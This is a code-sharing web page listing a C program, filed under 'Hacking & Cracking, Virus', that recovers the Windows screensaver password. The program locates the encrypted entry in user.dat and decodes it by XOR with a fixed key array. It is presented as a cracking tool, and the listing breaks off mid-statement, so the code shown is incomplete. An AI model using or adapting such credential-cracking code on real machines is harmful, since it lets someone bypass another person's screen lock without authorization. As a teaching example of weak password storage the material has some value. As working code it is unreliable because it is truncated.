Add to Favorites    Make Home Page 1176 Online  
 Language Categories  
 Our Services  

Home » C Home » Hacking & Cracking, Virus Home » ScreenSaver Password Cracker

Title ScreenSaver Password Cracker
Author Rammoorthy
Author Email rammoorthy2002 [at] yahoo.com
Description This code lets you know the Screen Saver Password. You can now know how they encrypt the password, how we can decrypt it.
Category C » Hacking & Cracking, Virus
Hits 414604
Code Select and Copy the Code
/* Screen Saveer Password Cracker: Decrypts Screen Saver Password which is stored in user.dat. */ #include<ctype.h> #include<stdio.h> #include<string.h> FILE *fp; char *path="c:\windows\user.dat"; /*encrypted password stored in this file when u log on to default user.. If there r multiple users..Password stored in \windowsprofilesuser-nameuser.dat... */ unsigned long int search(char *s); char *encstr(unsigned long int loc); int toint(char a); void main() { unsigned long int l; char s[51]; int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7, 15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5}; //this array is 2 b xored with encrypted-string int s1[51],s2[51]; int i,len,k; clrscr(); l=search("ScreenSave_Data"); strcpy(s,encstr(l)); len=strlen(s); for(i=0;i<len;i++) { s1[i]=toint(s[i]); s2[i]=(s1[i])^(arr[i]); } printf("Current Screen Saver Password: "); for(i=0;i<len;i+=2) printf("%c", (s2[i]*16)+(s2[i+1]) ); } /* Searches where ScreenSave_Data is there in the file and returns the location*/ unsigned long int search(char *s) { int k=0,len,ch; unsigned long int i=0; fp=fopen(path,"rb"); len=strlen(s); while( (ch=getc(fp))!=EOF) { if(ch==s[k]) k++; else k=0; i++; if(k==len) return i; } } /* It returns Encrypted String*/ char *encstr(unsigned long int loc) { char ch,s[55],ch1; int i=0; ch=toascii(0); fp=fopen(path,"rb"); fseek(fp,loc,SEEK_SET); while( (ch1=fgetc(fp))!=ch) { s[i]=ch1; i++; } s[i]='

Related Source Codes

Script Name Author
The Game Opposite as seen on Nokia 2300 Mobile Manikanta
RECURSIVE BALANCED QUICK SORT ashish
Radix Sort ashish
Change your mouse pointer Ashim
The blinking star Shashank
Data Validation Crylittlebaby
To search a file by giving file type like mp3 or mpeg or doc Prashanth SR
Menus Demonstration B.Chidhambaram
Employee Database Project Using C. Reenku Raman Nayak
Creating a Lexical Analyzer in c fahad bader al-buhairi �դ ?�� ��??���
Calendar Program Omkar & Devendra
Stop double Process for start in C Cedrik Jurak
Stop double Process for start in C Cedrik Jurak
Time Scheduler Atiq Anwar
A timepass game between atmost two players Rahul Roy

New! Click here to Add your Code!


ASP Home | C Home | C++ Home | COBOL Home | Java Home | Pascal Home
Source Codes Home Page

Google Search

Google

Source Codes World.com is a part of Vyom Network.

Vyom Network : Web Hosting | Dedicated Server | Free SMS, GRE, GMAT, MBA | Online Exams | Freshers Jobs | Software Downloads | Interview Questions | Jobs, Discussions | Placement Papers | Free eBooks | Free eBooks | Free Business Info | Interview Questions | Free Tutorials | Arabic, French, German | IAS Preparation | Jokes, Songs, Fun | Free Classifieds | Free Recipes | Free Downloads | Bangalore Info | Tech Solutions | Project Outsourcing, Web Hosting | GATE Preparation | MBA Preparation | SAP Info | Software Testing | Google Logo Maker | Freshers Jobs

Sitemap | Privacy Policy | Terms and Conditions | Important Websites
Copyright ©2003-2024 SourceCodesWorld.com, All Rights Reserved.
Page URL: http://www.sourcecodesworld.com/source/show.asp?ScriptID=715


Download Yahoo Messenger | Placement Papers | Free SMS | C Interview Questions | C++ Interview Questions | Quick2Host Review